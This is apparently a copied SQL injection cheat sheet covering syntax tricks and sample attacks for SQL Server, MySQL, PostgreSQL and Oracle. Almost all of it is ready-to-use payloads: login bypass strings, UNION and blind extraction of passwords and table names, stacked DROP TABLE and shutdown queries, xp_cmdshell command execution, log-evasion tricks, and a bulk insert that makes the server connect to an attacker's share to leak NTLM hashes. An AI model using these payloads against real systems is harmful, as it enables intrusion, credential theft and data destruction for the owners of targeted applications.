Xw1y19mt

1Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
2Ending / Commenting Out / Line Comments
3Line Comments
4
5Comments out rest of the query.
6Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.
7
8* -- (SM)
9DROP sampletable;--
10
11* # (M)
12DROP sampletable;#
13
14Line Comments Sample SQL Injection Attacks
15
16* Username: admin'--
17* SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
18This is going to log you as admin user, because rest of the SQL query will be ignored.
19
20Inline Comments
21
22Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
23
24* /*Comment Here*/ (SM)
25o DROP/*comment*/sampletable
26o DR/**/OP/*bypass blacklisting*/sampletable
27o SELECT/*avoid-spaces*/password/**/FROM/**/Members
28
29* /*! MYSQL Special SQL */ (M)
30This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
31
32SELECT /*!32302 1/0, */ 1 FROM tablename
33
34Classical Inline Comment SQL Injection Attack Samples
35
36* ID: 10; DROP TABLE members /*
37Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
38
39* SELECT /*!32302 1/0, */ 1 FROM tablename
40Will throw an divison by 0 error if MySQL version is higher than 3.23.02
41
42MySQL Version Detection Sample Attacks
43
44* ID: /*!32302 10*/
45* ID: 10
46You will get the same response if MySQL version is higher than 3.23.02
47
48* SELECT /*!32302 1/0, */ 1 FROM tablename
49Will throw an divison by 0 error if MySQL version is higher than 3.23.02
50
51Stacking Queries
52
53Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
54
55* ; (S)
56SELECT * FROM members; DROP members--
57
58Ends a query and starts a new one.
59
60Stacked SQL Injection Attack Samples
61
62* ID: 10;DROP members --
63* SELECT * FROM products WHERE id = 10; DROP members--
64
65This will run DROP members SQL sentence after normal SQL Query.
66If Statements
67
68Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.
69MySQL If Statement
70
71* IF(condition,true-part,false-part) (M)
72SELECT IF(1=1,'true','false')
73
74SQL Server If Statement
75
76* IF condition true-part ELSE false-part (S)
77IF (1=1) SELECT 'true' ELSE SELECT 'false'
78
79If Statement SQL Injection Attack Samples
80
81if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
82This will throw an divide by zero error if current logged user is not "sa" or "dbo".
83Using Integers
84
85Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
86
87* 0xHEXNUMBER (SM)
88You can write hex like these;
89
90SELECT CHAR(0x66) (S)
91SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
92SELECT 0x50 + 0x45 (this is integer now!) (M)
93
94String Operations
95
96String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
97String Concatenation
98
99* + (S)
100SELECT login + '-' + password FROM members
101
102* || (*MO)
103SELECT login || '-' || password FROM members
104
105*About MySQL "||";
106If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. Better way to do it is using CONCAT() function in MySQL.
107
108* CONCAT(str1, str2, str3, ...) (M)
109Concatenate supplied strings.
110SELECT CONCAT(login, password) FROM members
111
112Strings without Quotes
113
114These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
115
116* 0x457578 (M) - Hex Representation of string
117SELECT 0x457578
118This will be selected as string in MySQL.
119
120In MySQL easy way to generate hex representations of strings use this;
121SELECT CONCAT('0x',HEX('c:boot.ini'))
122
123* Using CONCAT() in MySQL
124SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
125This will return 'KLM'.
126
127* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
128This will return 'KLM'.
129
130Hex based SQL Injection Samples
131
132* SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
133This will show the content of c:boot.ini
134
135String Modification & Related
136
137* ASCII() (SMP)
138Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
139
140SELECT ASCII('a')
141
142* CHAR() (SM)
143Convert an integer of ASCII.
144
145SELECT CHAR(64)
146
147Union Injections
148
149With union you do SQL queries cross-table. Basically you can poison query to return records from another table.
150
151SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
152This will combine results from both news table and members table and return all of them.
153
154Another Example :
155' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
156UNION ? Fixing Language Issues
157
158While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
159
160* SQL Server (S)
161Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
162
163SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
164
165* MySQL (M)
166Hex() for every possible issue
167
168Bypassing Login Screens (SMO+)
169SQL Injection 101, Login tricks
170
171* admin' --
172* admin' #
173* admin'/*
174* ' or 1=1--
175* ' or 1=1#
176* ' or 1=1/*
177* ') or '1'='1--
178* ') or ('1'='1--
179* ....
180
181* Login as different user (SM*)
182' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
183
184*Old versions of MySQL doesn't support union queries
185Bypassing second MD5 hash check login screens
186
187If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
188Bypassing MD5 Hash Check Example (MSP)
189
190Username : admin
191Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
192
19381dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
194
195Error Based - Find Columns Names
196Finding Column Names with HAVING BY - Error Based (S)
197
198In the same order,
199
200* ' HAVING 1=1 --
201* ' GROUP BY table.columnfromerror1 HAVING 1=1 --
202* ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
203* ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
204* If you are not getting any more error then it's done.
205
206Finding how many columns in SELECT query by ORDER BY (MSO+)
207
208Finding column number by ORDER BY can speed up the UNION SQL Injection process.
209
210* ORDER BY 1--
211* ORDER BY 2--
212* ORDER BY N-- so on
213* Keep going until get an error. Error means you found the number of selected columns.
214
215Data types, UNION, etc.
216Hints,
217
218* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
219* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
220* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
221o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
222
223Finding Column Type
224
225* ' union select sum(columntofind) from users-- (S)
226Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
227[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
228
229If you are not getting error it means column is numeric.
230
231* Also you can use CAST() or CONVERT()
232o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
233
234* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ?-
235No Error - Syntax is right. MS SQL Server Used. Proceeding.
236
237* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ?-
238No Error ? First column is an integer.
239
240* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
241Error! ? Second column is not an integer.
242
243* 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 ?-
244No Error ? Second column is a string.
245
246* 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 ?-
247Error! ? Third column is not an integer. ...
248
249Microsoft OLE DB Provider for SQL Server error '80040e07'
250Explicit conversion from data type int to image is not allowed.
251
252You'll get convert() errors before union target errors ! So start with convert() then union
253Simple Insert (MSO+)
254'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
255Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
256
257@@version (MS)
258Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.
259
260INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
261Bulk Insert (S)
262
263Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.
264
2651. Create table foo( line varchar(8000) 
2662. bulk insert foo from 'c:inetpubwwwrootlogin.asp'
2673. Drop temp table, and repeat for another file.
268
269BCP (S)
270
271Write text file. Login Credentials are required to use this function.
272bcp "SELECT * FROM test..foo" queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
273VBS, WSH in SQL Server (S)
274
275You can use VBS, WSH scripting in SQL Server because of ActiveX support.
276
277declare @o int
278exec sp_oacreate 'wscript.shell', @o out
279exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
280Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
281Executing system commands, xp_cmdshell (S)
282
283Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
284
285EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
286
287Simple ping check (configure your firewall or sniffer to identify request before launch it),
288
289EXEC master.dbo.xp_cmdshell 'ping <ip address>'
290
291You can not read results directly from error or union or something else.
292Some Special Tables in SQL Server (S)
293
294* Error Messages
295master..sysmessages
296
297* Linked Servers
298master..sysservers
299
300* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
301SQL Server 2000: masters..sysxlogins
302SQL Server 2005 : sys.sql_logins
303
304More Stored Procedures for SQL Server (S)
305
3061. Cmd Execute (xp_cmdshell)
307exec master..xp_cmdshell 'dir'
308
3092. Registry Stuff (xp_regread)
3101. xp_regaddmultistring
3112. xp_regdeletekey
3123. xp_regdeletevalue
3134. xp_regenumkeys
3145. xp_regenumvalues
3156. xp_regread
3167. xp_regremovemultistring
3178. xp_regwrite
318exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'
319exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'
320
3213. Managing Services (xp_servicecontrol)
3224. Medias (xp_availablemedia)
3235. ODBC Resources (xp_enumdsn)
3246. Login mode (xp_loginconfig)
3257. Creating Cab Files (xp_makecab)
3268. Domain Enumeration (xp_ntsec_enumdomains)
3279. Process Killing (need PID) (xp_terminate_process)
32810. Add new procedure (virtually you can execute whatever you want)
329sp_addextendedproc 'xp_webserver', 'c:tempx.dll'
330exec xp_webserver
33111. Write text file to a UNC or an internal path (sp_makewebtask)
332
333MSSQL Bulk Notes
334
335SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
336
337DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
338
339HOST_NAME()
340IS_MEMBER (Transact-SQL)
341IS_SRVROLEMEMBER (Transact-SQL)
342OPENDATASOURCE (Transact-SQL)
343
344INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
345
346OPENROWSET (Transact-SQL) - [msdn2.microsoft.com]
347
348You can not use sub selects in SQL Server Insert queries.
349SQL Injection in LIMIT (M) or ORDER (MSO)
350
351SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
352
353If injection is in second limit you can comment it out or use in your union injection
354Shutdown SQL Server (S)
355
356When you really pissed off, ';shutdown --
357Enabling xp_cmdshell in SQL Server 2005
358
359By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
360
361EXEC sp_configure 'show advanced options',1
362RECONFIGURE
363
364EXEC sp_configure 'xp_cmdshell',1
365RECONFIGURE
366Finding Database Structure in SQL Server (S)
367Getting User defined Tables
368
369SELECT name FROM sysobjects WHERE xtype = 'U'
370Getting Column Names
371
372SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
373Moving records (S)
374
375* Modify WHERE and use NOT IN or NOT EXIST,
376... WHERE users NOT IN ('First User', 'Second User')
377SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
378
379* Using Dirty Tricks
380SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
381
382Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
383
384
385Fast way to extract data from Error Based SQL Injections in SQL Server (S)
386
387';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
388
389Detailed Article : Fast way to extract data from Error Based SQL Injections
390Blind SQL Injections
391About Blind SQL Injections
392
393In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
394
395Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
396Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.
397
398In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
399Real and a bit Complex Blind SQL Injection Attack Sample
400
401This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
402
403TRUE and FALSE flags mark queries returned true or false.
404
405TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
406
407FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
408
409TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
410
411FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
412
413TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
414
415FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
416
417TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
418
419FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
420
421FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--
422
423Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.
424
425Waiting For Blind SQL Injections
426
427First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
428WAIT FOR DELAY 'time' (S)
429
430This is just like sleep, wait for spesified time. CPU safe way to make database wait.
431
432WAITFOR DELAY '0:0:10'--
433
434Also you can use fractions like this,
435
436WAITFOR DELAY '0:0:0.51'
437Real World Samples
438
439* Are we 'sa' ?
440if (select user) = 'sa' waitfor delay '0:0:10'
441* ProductID = 1;waitfor delay '0:0:10'--
442* ProductID =1);waitfor delay '0:0:10'--
443* ProductID =1';waitfor delay '0:0:10'--
444* ProductID =1');waitfor delay '0:0:10'--
445* ProductID =1));waitfor delay '0:0:10'--
446* ProductID =1'));waitfor delay '0:0:10'--
447
448BENCHMARK() (M)
449
450Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
451
452BENCHMARK(howmanytimes, do this)
453Real World Samples
454
455* Are we root ? woot!
456IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
457
458* Check Table exist in MySQL
459IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
460
461pg_sleep(seconds) (P)
462
463Sleep for supplied seconds.
464
465* SELECT pg_sleep(10);
466Sleep 10 seconds.
467
468Covering Tracks
469SQL Server -sp_password log bypass (S)
470
471SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
472Clear SQL Injection Tests
473
474These tests are simply good for blind sql injection and silent attacks.
475
4761. product.asp?id=4 (SMO)
4771. product.asp?id=5-1
4782. product.asp?id=4 OR 1=1
479
4802. product.asp?name=Book
4811. product.asp?name=Bo'%2b'ok
4822. product.asp?
4832. product.asp?id=4 OR 1=1
484
4852. product.asp?name=Book
4861. product.asp?name=Bo'%2b'ok
4872. product.asp?name=Bo' || 'ok (OM)
4883. product.asp?name=Book' OR 'x'='x
489
490Some Extra MySQL Notes
491
492* Sub Queries are working only MySQL 4.1+
493* Users
494o SELECT User,Password FROM mysql.user;
495* SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
496* SELECT ... INTO DUMPFILE
497o Write query into a new file (can not modify existing files)
498* UDF Function
499o create function LockWorkStation returns integer soname 'user32';
500o select LockWorkStation();
501o create function ExitProcess returns integer soname 'kernel32';
502o select exitprocess();
503* SELECT USER();
504* SELECT password,USER() FROM mysql.user;
505* First byte of admin hash
506o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
507* Read File
508o query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
509* MySQL Load Data inifile
510o By default it's not avaliable !
511+ create table foo( line blob );
512load data infile 'c:/boot.ini' into table foo;
513select * from foo;
514* More Timing in MySQL
515* select benchmark( 500000, sha1( 'test' ) );
516* query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
517* select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
518Enumeration data, Guessed Brute Force
519o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
520
521Potentially Useful MySQL Functions
522
523* MD5()
524MD5 Hashing
525* SHA1()
526SHA1 Hashing
527
528* PASSWORD()
529* ENCODE()
530* COMPRESS()
531Compress data, can be great in large binary reading in Blind SQL Injections.
532* ROW_COUNT()
533* SCHEMA()
534* VERSION()
535Same as @@version
536
537Second Order SQL Injections
538
539Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
540
541Name : ' + (SELECT TOP 1 password FROM users ) + '
542Email : xx@xx.com
543
544If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
545Forcing SQL Server to get NTLM Hashes
546
547This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
548Bulk insert from a UNC Share (S)
549bulk insert foo from 'YOURIPADDRESSC$x.txt'